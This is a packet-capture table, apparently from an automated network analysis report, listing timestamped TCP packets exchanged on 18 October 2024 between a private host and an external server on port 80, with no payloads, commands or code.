Oct 18, 2024 15:04:28.090326071 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090338945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090349913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090354919 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090363026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090374947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090385914 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090388060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090404987 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090421915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090591908 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090604067 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090615034 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090627909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090639114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090641022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090651035 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090656996 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090665102 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090672970 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090681076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090692997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090701103 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090703964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090717077 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090718031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090739965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090763092 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090836048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090846062 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090881109 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090925932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090939045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090950966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090960979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090971947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.090974092 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.090984106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091000080 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091011047 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091039896 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091072083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091089964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091101885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091113091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091114998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091124058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091125965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091137886 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091146946 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091150999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091165066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091173887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091191053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091211081 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091212034 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091249943 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091351032 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091363907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091376066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091392040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091404915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091408014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091417074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091420889 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091430902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091444016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091444969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091455936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091466904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091471910 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091480017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091492891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091494083 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091517925 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091528893 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091610909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091622114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091634035 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091645956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091655016 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091677904 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091761112 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091782093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091794014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091804028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091806889 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091816902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091826916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091829062 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091844082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091855049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091855049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091865063 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091867924 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091881037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091893911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091893911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091905117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.091918945 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091931105 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.091957092 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092128992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092140913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092152119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092164040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092175961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092175007 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092187881 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092200041 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092200041 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092212915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092217922 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092226028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092236996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092241049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092250109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092262030 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092264891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092274904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092276096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092286110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092303038 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092325926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092434883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092447996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092459917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092472076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092483997 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092485905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092498064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.092499018 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092524052 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.092545986 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.175934076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.175971985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.175986052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.175998926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176017046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176028013 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176075935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176088095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176098108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176110029 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176119089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176139116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176140070 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176151991 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176162958 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176172972 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176172972 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176187038 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176198006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176199913 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176237106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176249027 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176454067 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176466942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176480055 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176501036 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176521063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176525116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176541090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176554918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176567078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176578999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176580906 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176604033 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176620960 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176647902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176660061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176671028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176682949 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176692963 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176716089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176717997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176738024 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176774979 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176794052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176806927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176816940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176826954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176840067 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176846981 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176860094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176877975 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176939964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176951885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176963091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176975012 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176980019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.176990986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.176997900 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177004099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177005053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177017927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177026987 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177031040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177052021 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177062988 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177078962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177089930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177119970 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177165985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177182913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177194118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177205086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177207947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177217960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177228928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177241087 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177243948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177274942 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177274942 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177303076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177314043 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177325010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177345991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177369118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177372932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177386045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177396059 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177408934 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177409887 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177423954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177444935 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177469015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177480936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177493095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177517891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177530050 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177551031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177563906 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177573919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177592993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177615881 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177618027 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177632093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177643061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177661896 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177680016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177687883 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177701950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177716017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177726984 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177736998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177757025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177781105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177793026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177814007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177825928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177828074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177836895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.177850008 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177860022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.177880049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178348064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178359985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178371906 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178389072 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178411961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178432941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178445101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178456068 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178464890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178469896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178478956 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178493977 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178507090 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178587914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178597927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178607941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178621054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178632021 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178632975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178647041 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178647041 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178659916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178666115 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178673029 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178685904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178693056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178711891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178730965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178792000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178802967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178814888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178827047 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178833961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178841114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178852081 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178853989 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178867102 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178905010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178917885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178926945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.178930044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178936958 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.178962946 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179033995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179047108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179058075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179069996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179070950 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179083109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179094076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179096937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179111004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179117918 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179122925 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179132938 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179136992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179157019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179178953 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179244995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179256916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179267883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179279089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179282904 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179291964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179305077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179311991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179318905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179327965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179352999 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179497004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179508924 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179518938 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179539919 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179541111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179553986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179557085 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179569006 CEST	80	49884	185.215.113.103	192.168.2.4
